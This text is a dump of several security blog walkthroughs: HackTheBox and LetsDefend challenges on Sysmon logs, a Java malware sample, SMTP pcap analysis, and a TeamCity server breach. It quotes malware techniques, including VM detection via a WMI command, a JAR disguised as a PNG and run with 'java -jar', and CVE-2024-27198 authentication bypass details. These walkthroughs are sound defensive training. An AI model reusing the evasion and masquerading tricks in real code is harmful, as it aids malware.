after infecting the PC with a backdoored variant of UltraVNC. When did the process terminate itself? For our final question, we just need to figure out when the malicious process Preventivo24.02.14.exe.exe terminated.\nWe can discover this information easily by filtering for Event ID 5: Process terminated events.\nThe process terminate event reports when a process terminates. It provides the UtcTime, ProcessGuid and ProcessId of the process.\nThis will return a single event, and we can grab the termination timestamp from the event details.\nWindows Event Viewer: Identifying malware process termination using Sysmon Event ID 5\nSo, What Happened Here? Bringing it All Together and Contextualizing the Infection Chain Before we jump down to the conclusion, let’s take a step back and look at the LinkedIn post by Palo Alto’s Unit 42 that inspired this challenge. If you’re like me, a visual reference that brings all the questions together can help you fully understand what happened, and what the artifacts we discovered actually mean.\n#ultravnc #timelythreatintel #indicatorsofcompromise #unit42threatintel #wireshark… _2024-01-23 (Tuesday): #UltraVNC infection generated by EXE from Dropbox URL. Dropbox URL now offline! IOCs from an…_www.linkedin.com\nImage Credit: https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/\nDoes this sound kind of familiar?\nIf we look at the visual for the infection chain, we’ll see a malicious executable downloaded from Dropbox — just like we identified in Questions 2 \u0026amp; 3. Then we see a decoy PDF file, which lines up with Question 4. This context gives us insight into the attack flow and reinforces how each artifact we uncovered fits into a broader narrative.\nI strongly encourage you to check out the Palo Alto post, explore the research, and see what other conclusions you might draw compared to the challenge. It’s a great way to validate your analysis and expand your understanding of how threat intelligence connects to hands-on investigations.\nConclusion: That wraps up our investigation of the Unit42 challenge! We’ve walked through each step of the infection chain: from identifying the initial malicious executable downloaded from Dropbox, to uncovering timestomping activity, DNS queries, and IP connections — all using nothing more than Sysmon logs and a bit of threat intelligence.\nA big thank you to Hack The Box for another high-quality and fun Sherlock — it’s been a blast going through this track.\nI chose this week’s challenge as a great example of how Sysmon bolsters forensic capabilities by collecting and contextualizing meaningful endpoint logs. With these logs, we were able to breeze through analysis, focusing on targeted events to tell a compelling story. Whether it’s filtering for specific event IDs, pivoting to external threat intel platforms like VirusTotal, or recognizing subtle evasion techniques like timestomping, every artifact adds a piece to the puzzle. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.hackthebox.com/sherlocks/632\nFlare-VM: https://github.com/mandiant/flare-vm\nMicrosoft — Sysmon: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon\nMicrosoft — Sysinternals: https://learn.microsoft.com/en-us/sysinternals/\nVirusTotal — Preventivo24.02.14.exe.exe: https://www.virustotal.com/gui/file/0cb44c4f8273750fa40497fca81e850f73927e70b13c8f80cdcfee9d1478e6f3\nMITRE ATT\u0026amp;CK — Indicator Removal: Timestomp (T1070.006): https://attack.mitre.org/techniques/T1070/006/\nLinkedIn — Palo Alto Networks Unit 42: https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/\n","date":"2025-10-05T00:00:00Z","image":"/posts/hackthebox-unit42-sherlock-walkthrough/81ecbde8b32200b9b0d5f761df2caa61_MD5.png","permalink":"/posts/hackthebox-unit42-sherlock-walkthrough/","title":"HackTheBox  — Unit42 Sherlock Walkthrough"},{"content":"LetsDefend — Samba Spy Challenge Walkthrough Investigating a Malicious JAR File Using Java Decompiler, VirusTotal \u0026amp; MITRE ATT\u0026amp;CK. Image Credit: https://app.letsdefend.io/challenge/samba-spy\nIntroduction: Welcome back to another weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while looking for a comprehensive guide the Samba Spy challenge from LetsDefend, you\u0026rsquo;re in the right place. This challenge is a great opportunity to explore how adversaries use Java-based payloads, obfuscation, and anti-analysis techniques to evade detection.\nChallenge Scenario: Your organization has discovered an infection on one of its systems involving a malicious Java application. This malware performs environment checks to ensure it is not running inside a virtual machine and targets systems with specific configurations. Once the required conditions are met, it extracts files and executes malicious components that could compromise sensitive data or system integrity. The stealthy nature of the malware and its ability to evade detection pose a serious threat, requiring immediate action to secure the network and prevent further compromise.\nUh-oh! That doesn\u0026rsquo;t sound good. It\u0026rsquo;s up to us to spring into action in our LetsDefend virtual machine, reverse engineer and investigate its behavior, and prevent any further damage.\nThis one\u0026rsquo;s a bit different from the usual endpoint or network forensics challenges. We\u0026rsquo;ll be stepping into the world of static analysis with a sprinkle of reverse engineering, using tools like JD-GUI, VirusTotal, MITRE ATT\u0026amp;CK, and good old-fashioned logic to uncover what this malware is up to.\nIf you\u0026rsquo;re new to Java malware or just want to sharpen your analysis skills, this is a great challenge to stumble into. Let\u0026rsquo;s dig in and see what this .jar file is hiding.\nSounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What is the name of the method that checks if the program is running inside a virtual machine? Let\u0026rsquo;s kick off this investigation by opening the ChallengeFile folder and unzipping challenge.7z using the password provided in the challenge description. This leaves us with the sample we\u0026rsquo;ll be analyzing: 1.jar.\nUnzipping the ChallengeFile\nOur first step is to select a tool we can use to decompile the sample and peek into the code. Fortunately, the LetsDefend VM is already loaded with a number of analysis tools, including Java Decompiler (JD). Since reverse engineering isn\u0026rsquo;t in my usual wheelhouse, the graphical version, JD-GUI, will be perfect for us to use. According to the project\u0026rsquo;s GitHub page:\nJD-GUI is a standalone graphical utility that displays Java source codes of \u0026quot; # \u0026quot;\n.class\u0026quot; files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.\nSounds perfect! Let\u0026rsquo;s give it a try by launching the application from C:\\Users\\LetsDefend\\Desktop\\Tools\\jd-gui-windows-1.6.6 - Java Decompiler.\nOnce it\u0026rsquo;s open, we can load the 1.jar sample file and immediately jump in by expanding JavaApplication1.class \u0026gt; JavaApplication1. This will allow us to check out the methods within the application.\nWith that in mind, to answer Question 1, select the obviously named isRunningInVM() method on the left and view its contents on the right. We\u0026rsquo;ll see that this method is checking if the JAR file is executed in a virtual machine. One way it does this is by checking if the operating system name matches known virtualization providers.\nIdentifying the isRunningInVM() method\nNow, there could be a valid reason for it, but the presence of a method checking for virtualization is suspicious. Malware might attempt to evade detection by checking if it\u0026rsquo;s executed in a virtual environment, potentially operated by one of us defenders, and changing its behavior accordingly. This is an example of the MITRE ATT\u0026amp;CK technique Virtualization/Sandbox Evasion: System Checks (T1497.001).\nQuestion 2: What system language is required for the program to continue execution? The next thing we\u0026rsquo;ll need to uncover is what system language is required for the application to continue execution. We can find this in the isSystemLanguageItalian() method.\nIdentifying the required language for execution\nThis interesting little tidbit that tells us the malware might be targeting Italian systems only, since it only runs when that language is detected. This could be another example of an evasion tactic or might indicate a targeted attack. Let\u0026rsquo;s keep going and see what else we can discover about the malware\u0026rsquo;s capabilities.\nQuestions 3 \u0026amp; 4: What is the name of the method responsible for extracting the Prodotto.zip file? What is the default extraction path for the Prodotto.zip contents? To answer Question 3, we\u0026rsquo;re searching for a method used to extract the file Prodotto.zip. We can identify this function within the extractLibs() method, which references the file directly on line 50.\nIdentifying the .zip extraction method\nTo answer Question 4, we can identify the defined extraction path for this .zip file by checking line 48, where the DestinationPath variable is defined as C:\\Users\\Public.\nIdentifying the default path for .zip file extraction\nThis is another suspicious behavior that suggests the malware is dropping a second-stage payload. The use of the C:\\Users\\Public folder is also a red flag. It\u0026rsquo;s a commonly used directory for malware staging because it acts as a shared location across all user accounts in Windows. In other words, any user on the system can read from and write to this directory, making it a prime location to affect all users on the system.\nQuestions 5 \u0026amp; 6: What file name does the program look for after extraction to run as a JAR file? What command is used to execute the extracted JAR file? Moving right along, we now need to identify the second-stage JAR file that\u0026rsquo;s executed by the malware. Let\u0026rsquo;s check out the main(String[]) method as a first step. Here, we can see another file extracted from the Prodotto.zip archive in the same directory: prodotto.png. This is declared as the jarPath variable.\nIdentifying the extracted file\nThis looks promising — but we\u0026rsquo;re looking for a JAR file, right? Well, this is a little tricky. Take a look at line 32: we can see what appears to be a command executing a JAR file using Runtime.getRuntime().exec() with the jarPath variable. Strange!\nIdentifying the execution command\nSurprise! This appears to be an example of file type masquerading as described by the MITRE ATT\u0026amp;CK technique Masquerade File Type (T1036.008). So, the file is named with a .png extension, but it\u0026rsquo;s actually a .jar file and is executed using the java -jar command.\nWhile it\u0026rsquo;s a little out of scope for this challenge, we can confirm this behavior by grabbing the file hash of 1.jar from the LetsDefend VM and pivoting to VirusTotal. From there, we can check the Relations tab for Prodotto.zip \u0026gt; prodotto.png to confirm that the magic byte indicates it\u0026rsquo;s indeed a .jar file.\nIf you\u0026rsquo;d like to try it out, you can use the Get-FileHash command in the VM to calculate the hash of 1.jar, but I\u0026rsquo;ve included it below for convenience:\n49BBFAC69CA7633414172EC07E996D0DABD3F7811F134EECAFE89ACB8D55B93A\nVirusTotal: Details of Prodotto.png\nUltimately, we can confirm the answer to Question 5 is correct: prodotto.png is indeed a .jar file. And for Question 6, the command used to execute it is:\njava -jar C:\\Users\\Public\\Prodotto.png\nQuestion 7: What process is used to check if the system is running in a virtual machine (besides the manufacturer string)? Remember back in Question 1, where we identified the isRunningInVM() method that the malware uses to check if it\u0026rsquo;s running in a virtual machine? While we identified the method, we didn\u0026rsquo;t really dig into how that check occurs.\nFrom what we can tell, there are a couple of ways the malware does this. One method is by listing the system manufacturer string using System.getProperty(\u0026quot;os.name\u0026quot;), and then comparing it to a list of known virtualization providers (like VMware, Oracle, etc.).\nBut this would only return the name of the operating system, like Windows 11, macOS, Linux, etc. So, we\u0026rsquo;re looking for a different method, which we\u0026rsquo;ll find on line 96:\nwmic baseboard get manufacturer\nIdentifying baseboard manufacturer enumeration\nUsing this WMI command in Windows will return the motherboard manufacturer, which the malware compares to a list of vmIndicators as mentioned above. The idea is that if the execution environment is a VM, it would be reflected in the baseboard manufacturer string which is pretty clever.\nQuestion 8: How many virtual machine vendors does the program check for? Now onto the final question! To answer Question 8, we simply need to look at the list of vmIndicators we talked about in the previous question. If we expand the row on line 80, we\u0026rsquo;ll see the four VM providers the malware checks for — nice job!\nIdentifying the VM providers\nConclusion: How fun was that! A big thank you to LetsDefend for putting together another awesome experience.\nThis one was a great change of pace from my typical endpoint or network forensics investigation walkthroughs. It gave me a chance to explore how Java-based malware operates, how it uses environmental awareness to evade detection, and how file type masquerading can try to throw us off the trail. Now that we\u0026rsquo;ve gained a better understanding of how this malware behaves, it\u0026rsquo;s time to wrap this investigation.\nI chose this challenge to keep reverse engineering in the rotation because it\u0026rsquo;s a weak spot for me. This was a great excuse to try a new tool and go hands-on with Java Decompiler, and it\u0026rsquo;s now another tool I\u0026rsquo;ll be keeping in my kit for future malware analysis. The challenge also reinforced how important it is to understand anti-analysis techniques and how adversaries use them to stay hidden. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/samba-spy\nJava Decompiler: https://java-decompiler.github.io/\nMITRE ATT\u0026amp;CK — Virtualization/Sandbox Evasion: System Checks (T1497.001): https://attack.mitre.org/techniques/T1497/001/\nMITRE ATT\u0026amp;CK — Masquerading: Masquerade File Type (T1036.008): https://attack.mitre.org/techniques/T1036/008/\nVirusTotal: https://www.virustotal.com/\nVirusTotal — Prodotto.png: https://www.virustotal.com/gui/file/9530d49197932cc7f169dae3f953e00dc9cf3625eb74e0e335701d3e3fd8c8d4/details\n","date":"2025-09-21T00:00:00Z","image":"/posts/letsdefend-samba-spy-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-samba-spy-challenge-walkthrough/","title":"LetsDefend — Samba Spy Challenge Walkthrough"},{"content":"LetsDefend — Disclose The Agent Challenge Walkthrough Investigating a Suspicious Email Using Wireshark. https://app.letsdefend.io/challenge/disclose-the-agent\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog looking for a practical guide to the Disclose the Agent challenge from LetsDefend, you\u0026rsquo;re in the right place. This challenge is a great introduction to investigating network traffic and carving out email-based artifacts using Wireshark — let\u0026rsquo;s check out the scenario below.\nChallenge Scenario: We reached the data of an agent leaking information. You have to disclose the agent.\nLog file: /root/Desktop/ChallengeFile/smtpchallenge.pcap\nNote: pcap file found public resources.\nGot it! We\u0026rsquo;re provided with a PCAP file and need to investigate a malicious insider leaking information. To figure out what\u0026rsquo;s going on, we\u0026rsquo;ll use the network traffic analysis tool Wireshark to extract email communications, uncover clues within the message contents, and paint the full picture.\nThis challenge is a great opportunity to practice protocol-level analysis, decode encoded credentials, and reconstruct file attachments from raw packet data. Sounds like fun, right? Let\u0026rsquo;s get into it!\nIf you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What is the email address of Ann\u0026rsquo;s secret boyfriend? Let\u0026rsquo;s kick off this investigation by opening the ChallengeFile folder and locating the artifact smtpchallenge.pcap.\nSo, what do we do with this? Well, a PCAP file is a network packet capture file containing the packet-level details of a network session. For this challenge, we\u0026rsquo;ll be leveraging Wireshark to view the pcap and perform our analysis. Double-click the file to open it.\nLocation of the ChallengeFile\nTo answer Question 1, we\u0026rsquo;re searching for an email exchange between Ann and a secret boyfriend. For this, we can focus on filtering the Wireshark traffic for the Simple Mail Transfer Protocol (SMTP) packets. If you\u0026rsquo;re unfamiliar with this protocol, here\u0026rsquo;s some background from the Wireshark Wiki that\u0026rsquo;s helpful to know for this challenge:\nThis protocol is widely use to send e-Mail from the authors mail program to the mail server and between servers too.\nTypically, SMTP uses TCP as its transport protocol. The well known TCP port for SMTP traffic is 25.\nSMTP uses MIME_multipart to transfer attachments\nThe idea here is to filter SMTP traffic to review emails that Ann sent. Hopefully, this contains some kind of clue about the identity of her boyfriend. To perform the filtering, simply enter the protocol name smtp into Wireshark\u0026rsquo;s filtering box.\nOnce the filter is applied, search through the traffic to find the first displayed SMTP packet („– 56). Once we\u0026rsquo;ve found it, right-click the line and select Follow \u0026gt; TCP Stream. This will open up the TCP stream window for us to view the contents.\nWireshark: Packet 56— following the TCP stream\nUnfortunately, while interesting, this message stream doesn\u0026rsquo;t contain any spicy details about Ann\u0026rsquo;s affair. Let\u0026rsquo;s try another stream containing another message\u0026hellip;\nWireshark: The contents of TCP Stream 0\nLet\u0026rsquo;s check the next SMTP stream starting with packet number 116. Follow the same process to view the TCP stream.\nWireshark: Packet 116 — following the TCP stream\nNow we\u0026rsquo;ve got them! This message is much more suggestive, and we can confirm the email address of Ann\u0026rsquo;s boyfriend — the elusive \u0026ldquo;Mister Secret.\u0026rdquo;\nWireshark: Identifying the email of Anne\u0026rsquo;s secret boyfriend\nQuestion 2: What is Ann\u0026rsquo;s email password? Our next objective to answer Question 2 is to determine Ann\u0026rsquo;s email password. SMTP traffic is transmitted in clear text by default, meaning that the authentication credentials could be visible in the PCAP file.\nLet\u0026rsquo;s find out! To illustrate this, close the TCP stream window and zoom out to the packet view again. Here, we\u0026rsquo;re able to see the complete user authentication flow (packets 120€“128), including the PASS field containing the password.\nWireshark: Identifying the SMTP password field\nJust one small obstacle: the field appears to be encoded, so the password isn\u0026rsquo;t as it appears here. Remember, encoding is not the same as encryption, so we should be able to simply decode the PASS string. To do this, right-click the packet and select Protocol Preferences \u0026gt; Decode Base64 encoded AUTH parameters.\nWireshark: Applying the Base64 decode operation\nThis automatically decodes the password for Ann\u0026rsquo;s email — great find!\nWireshark: Viewing the decoded password\nQuestion 3: What is the name of the file that Ann sent to his secret lover? To answer Question 3, navigate back to the TCP stream window. For this task, we\u0026rsquo;re looking for the name of the file that Ann sent. You might recall from the SMTP notes on the Wireshark Wiki that:\nSMTP uses MIME_multipart to transfer attachments.\nWireshark: Identifying the attachment filename in the MIME section\nThis means that by scrolling down to the MIME contents section, we can discover the filename field containing the name of the attachment — secretrendezvous.docx.\nQuestion 4: In what country will Ann meet with her secret lover? To find the answer to Question 4, turn your attention to the big blob of encoded text following filename=\u0026quot;secretrendezvous.docx\u0026quot; that we found in the previous question.\nWireshark: The encoded attachment\nThe encoded content between the filename and the ending boundary --=_NextPart_000_000D_01CA497C.9DEC1E70 is actually the .docx file attachment. With a little know-how and effort, we can convert this blob into the original, readable file.\nThe first step is to copy the blob to the clipboard and paste it into a text editor like Mousepad, which is built into the LetsDefend VM.\nMousepad: Pasting the Base64 blob\nOnce the contents have been pasted into the empty document, go ahead and save it.\nNext, we\u0026rsquo;ll leverage the base64 command to decode the contents and output them into a new file, secretrendezvous.docx. Use the command below to watch the magic happen:\nbase64 -d -i secretrendezvous \u0026gt; secretrendezvous.docx\nNow that the encoded contents have been piped to a new .docx file, go ahead and open it to find a map location for the secret rendezvous!\nThe rendezvous location revealed\nQuestion 5: What is the MD5 value of the attachment Ann sent? To wrap up our investigation and answer Question 5, we simply need to determine the MD5 hash value of the secretrendezvous.docx attachment that Ann sent.\nWe\u0026rsquo;ve already done most of the legwork by reassembling this artifact from the TCP stream, so now we just need to run the md5sum command from the terminal to grab the hash:\nmd5sum secretrendezvous.docx\nTerminal: Calculating the MD5 hash of the document\n9e423e11db88f01bbff81172839e1923\nThe resulting output is the MD5 hash value we need to answer the final question. This is a handy thing to have in the real world since it serves as a file-level signature, and can be used to confirm that the file is identical to the original document, or to pivot into threat intelligence platforms to check if this exact specific file has been seen before.\nIn this case, the content is innocuous — but still interesting.\nConclusion: How fun was that! A big shoutout to LetsDefend for putting out another great challenge.\nThis one was a solid exercise in classic network forensics and gave us the chance to work through a plausible real-world email analysis scenario. From filtering SMTP traffic in Wireshark, to decoding Base64-encoded credentials, and even reconstructing a .docx file from raw packet data — this challenge packed a lot of practical skills into a focused investigation.\nI picked this one because I wanted to brush up on SMTP packet analysis and get some reps in with extracting email-based artifacts, which are still incredibly relevant in phishing investigations and insider threat cases. Each question built naturally on the last, and I\u0026rsquo;m always a fan of a fun narrative to chase during these challenges. All in all — very fun!\nThanks for following along and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback keeps me going and helps me keep supporting your security journey. Remember, cybersecurity is a team sport — and we\u0026rsquo;re in this together.\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/disclose-the-agent\nWireshark: https://www.wireshark.org/\nWireshark Docs — SMTP: https://wiki.wireshark.org/SMTP\n","date":"2025-09-14T00:00:00Z","image":"/posts/letsdefend-disclose-the-agent-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-disclose-the-agent-challenge-walkthrough/","title":"LetsDefend — Disclose The Agent Challenge Walkthrough"},{"content":"LetsDefend — Velociraptor Challenge Walkthrough Investigating a Compromised Web Server Using Velociraptor, Wireshark, and Cyber Threat Intelligence. https://app.letsdefend.io/challenge/velociraptor\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive guide to the Velociraptor challenge from LetsDefend, you\u0026rsquo;re in the right place. This challenge is a fantastic introduction to collecting and investigating endpoint artifacts — let\u0026rsquo;s check out the scenario below.\nChallenge Scenario: Your organization recently discovered a potential security incident involving a critical web server. The Security Operations Center (SOC) detected unusual traffic patterns and suspicious activity targeting this server. Initial investigations suggest that the breach may have been caused by a well-known exploit that has not yet been patched. Due to the critical nature of the web server and the sensitivity of the data it handles, immediate action is required to confirm the breach, contain the threat, and mitigate further risks.\nYou are provided with network traffic and EDR logs to identify how the attacker gained access and what actions they took.\nIt sounds like we\u0026rsquo;ve got our work cut out for us to investigate what happened to the web server and how it was compromised. But we\u0026rsquo;re not on our own — we\u0026rsquo;re provided with a rich set of forensic log artifacts generated by Velociraptor that we can use to put the pieces together.\nTo accomplish this, we\u0026rsquo;ll leverage our DFIR knowledge and apply it to investigating the Velociraptor artifacts. Since this challenge also serves as an introduction to Velociraptor, we\u0026rsquo;ll lean heavily on the documentation to add context and learn more about how the tool works. After that, we\u0026rsquo;ll dive into Wireshark to analyze the collected network packet data to get further details. Once we\u0026rsquo;ve identified the vulnerability abused by the attacker, we\u0026rsquo;ll pivot to some additional threat research to add further context and tie the whole thing together.\nSounds like fun, right? Let\u0026rsquo;s get our hands dirty.\nIf you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What is the Client ID associated with the EDR logs? Let\u0026rsquo;s kick off our investigation by navigating to the ChallengeFile directory within the LetsDefend VM. Inside this directory, we\u0026rsquo;re presented with two files: EDR-LOGS and EDR-LOGS.zip.\nOverview of the ChallengeFile folder\nWe\u0026rsquo;re going to focus on the unzipped file, but before we go too much further, let\u0026rsquo;s get some background on the tool that generated these logs — Velociraptor. According to the project\u0026rsquo;s documentation, _Velociraptor is \u0026quot; # \u0026quot;\nan advanced digital forensic and incident response tool that enhances your visibility into your endpoints.\u0026ldquo;Typically, Velociraptor runs in a client/server configuration where a client agent sends artifacts and data to a Velociraptor server. From the server, a security analyst can review the collected logs for endpoint monitoring and hunting. Sounds awesome, right? But also well beyond the scope of this challenge.\nBack in our ChallengeFile folder, we\u0026rsquo;ll find a series of logs collected by the Velociraptor offline collector, which can be used for artifact collection without the use of a server. This means that we\u0026rsquo;ll be manually investigating artifacts collected by Velociraptor locally and won\u0026rsquo;t need to open a Velociraptor server instance.\nTo answer Question 1, we need to determine the client ID associated with the Velociraptor logs. In Velociraptor, a client_id is a unique identifier for a specific endpoint, or client. We can locate this information in the client_info log:\nclient_info :: Velociraptor - Digging deeper! _Required permissions: READ_RESULTS Returns client info (like the fqdn) for a specific client from the datastore. You\u0026hellip;_docs.velociraptor.app\nIn your VM, navigate to the directory below and open the client_info.json file:\nLocating the client_info.json file\n/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/client_info.json\nInside, you\u0026rsquo;ll find the client_id on line 2.\nQuestion 2: What is the Flow ID of the current logs? Next, we need to identify the Flow ID of the current logs. Flows are used to track the execution of a collection from Velociraptor to an endpoint. Each flow represents a specific collection event, and its ID helps analysts correlate artifacts to the collection process.\nWe can find this information in the collection_context.json log.\nLocating the collection_context.json file\n/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/collection_context.json\nQuestion 3: The web server was running on a container. What is the parent process ID of the container (PPID)? To answer Question 3, our next objective is to determine what container service the victim web server was running. As we continue exploring the Velociraptor artifacts, we\u0026rsquo;ll stumble on the results directly, with several logs referencing Docker, a common containerization service.\nSince we\u0026rsquo;re interested in the parent process ID (PPID) of the container service process, let\u0026rsquo;s open the process list artifact: Linux.Sys.Pslist.json.\nLocating the Linux.Sys.Pstlist.json file\n/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Sys.Pslist.json\nWith the log file open, let\u0026rsquo;s simply use the find function (CTRL+F) and search for docker to help us locate relevant entries. Because we\u0026rsquo;re investigating suspicious network traffic on the web server, we\u0026rsquo;ll focus on the docker-proxy process (line 80) which is responsible for forwarding network traffic to the proper container.\nIdentifying Docker processes in the Linux.Sys.Pslist.json log\nAfter examining the Ppid value, we can see that the parent process ID is 5123, which corresponds to the dockerd service.\nQuestion 4: What is the docker version that is running the web server? Okay, now that we understand the web server was running on a Docker container, we can start determining which exploit the web server might\u0026rsquo;ve been vulnerable to. But first, we need to identify which Docker version was in use.\nTo do this, we\u0026rsquo;ll use one of the available Docker-related logs in the results folder: Linux.Applications.Docker.Version.json.\n/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Applications.Docker.Version.json\nInside this log, we\u0026rsquo;ll find the version string identifying the Docker version as 26.1.2.\nIdentifying Docker processes in the Linux.Applications.Docker.Version log\nQuestion 5: What is the IP address of the attacker? Moving right along! Our next task is to discover the IP address of the attacker. This is a key step in correlating with any other activity performed by the attacker. But first, let\u0026rsquo;s identify the local IP of the victim web server so we can better understand our environment. For this, we\u0026rsquo;ll look at the Linux.Network.Netstat.json artifact in the results folder.\nBy examining the contents of this log, we can determine the LocalAddr of the client the Velociraptor logs were collected from — 172.31.29.22.\nIdentifying Docker processes in the Linux.Network.Netstat log\nNow that we\u0026rsquo;ve identified the local client IP, we\u0026rsquo;ll need to examine the network packet captures to uncover the attacker\u0026rsquo;s IP.\nFortunately, Velociraptor also performs a network traffic capture and saves this data as a PCAP file that can be examined with a tool like Wireshark. We\u0026rsquo;ll find the CaptureTraffic.pcap file in the directory below. Double-click the file to open it with Wireshark.\n/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/uploads/auto/tmp/CaptureTraffic.pcap\nWith the PCAP open, we\u0026rsquo;ll use Wireshark\u0026rsquo;s Endpoint Statistics view to get a high-level survey of all IP addresses contained within the capture. To access this, press Statistics and then select Endpoints.\nWireshark: Accessing the Endpoint Statistics view\nCheck the tab labeled IPv4. This shows us that there are 88 host IPs contained in the log — so how do we determine which one belongs to the attacker? For this, we\u0026rsquo;ll sort by the total number of packets to surface the top traffic endpoints to the top of the list.\nWireshark: Identifying the top traffic endpoints\nThis method helps us quickly identify the most active IP addresses, which we can then check against external threat intelligence services to search for indicators of malicious activity.\nFor example, the second entry on the list is an external IP address — 95[.]164[.]9[.]144. This IP is the top external talker. Let\u0026rsquo;s see what additional information we can find about it.\nWhile there are plenty of excellent threat intelligence services, we\u0026rsquo;ll use ipinfo.io to get an overview of this IP address and SOC Radar\u0026rsquo;s IOC Radar to uncover threat intelligence.\nChecking IPinfo first, we\u0026rsquo;ll see that this IP address is part of the Stark-Industries Solutions ASN, a well-known bulletproof hosting provider of VPN and proxy services. That\u0026rsquo;s already suspicious\u0026hellip;\nIPinfo: https://ipinfo.io/95.164.9.144?lookup_source=search-bar\nNext, checking SOC Radar, we\u0026rsquo;ll discover that this IP address is also associated with some suspicious activities.\nSOCRadar: https://socradar.io/labs/app/ioc-radar/95.164.9.144\nFor the purposes of our investigation, the combination of the volume of traffic in the network logs, the IP\u0026rsquo;s ASN, and the threat intelligence verdict is enough to reasonably guess that this is the attacker\u0026rsquo;s IP. We\u0026rsquo;ll confirm this through additional activities later.\nQuestion 6: To determine if there are any exploits targeting the server, identify the build version of the web server service. What is the build version? Now that we\u0026rsquo;ve identified the attacker\u0026rsquo;s IP address, it\u0026rsquo;s time to dig a little deeper into the packet captures to determine what activities were performed. As a starting point, we need to find the build version of the web server service.\nFrom our Endpoint Statistics window in Wireshark, right-click the attacker\u0026rsquo;s IP address and add it as a filter. This will isolate traffic related to that IP in the Wireshark window. From there, right-click a packet (I used packet number 4040) and select Follow \u0026gt; TCP Stream.\nWireshark: Filtering the attacker\u0026rsquo;s IP and following the TCP stream\nWhile there\u0026rsquo;s a ton of information to sift through, we\u0026rsquo;ll stay focused on Question 6 and look for the build number by using the search box at the bottom of the pane and entering buildnumber.\nWireshark: Discovering the TeamCity server build number\nThis search brings us directly to a segment that gives us extremely helpful information: the server is a JetBrains TeamCity instance with a build number of 147512.\nQuestion 7: The attacker took advantage of a known exploit to that version of the service. What is the CVE number for the exploit that he used? From the information we discovered in Question 6, we now have enough evidence to start tying things together and identifying which CVE was exploited.\nFor background, TeamCity is a CI/CD platform for software development. If we do a quick search for TeamCity Server build 147512, we\u0026rsquo;ll immediately find dozens of entries discussing exploitation of vulnerable TeamCity servers.\nFor this walkthrough, I\u0026rsquo;ll be referencing the excellent blog post from Rapid7:\nJetBrains TeamCity Multiple Authentication Bypass Vulnerabilities | Rapid7 Blog _In February 2024, Rapid7\u0026rsquo;s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity\u0026hellip;_www.rapid7.com\nThe Rapid7 post documents some important details related to our investigation.\nIn February 2024, Rapid7\u0026rsquo;s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:\nCVE-2024€“27198 is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (CWE-288) and has a CVSS base score of 9.8 (Critical).\nCVE-2024€“27199 is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (CWE-22) and has a CVSS base score of 7.3 (High).\nBoth vulnerabilities are authentication bypass vulnerabilities, the most severe of which, CVE-2024€“27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE\nGiven that our server is running build 147512, which falls below the patched version 2023.11.4, and considering the nature of the attack and the volume of traffic observed, it\u0026rsquo;s highly likely that CVE-2024-27198 was used to compromise the web server.\nQuestion 8: The attacker created multiple usernames and passwords on the service. What is the first username and password created? We now understand that the TeamCity server was compromised using CVE-2024€“27198 to achieve remote code execution. To answer Question 8, we need to identify specific activities performed by the threat actor — including what user accounts were created.\nFor this part of the analysis, we\u0026rsquo;ll jump back into Wireshark and adjust our filter based on new details we discovered from the Rapid7 blog, including the protocol and port exposed by the TeamCity web server:\n\u0026quot; # \u0026quot;\nTeamCity exposes a web server over HTTP port 8111 by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.\u0026rdquo;\nBack in Wireshark, let\u0026rsquo;s apply a filter to focus only on network activity from the 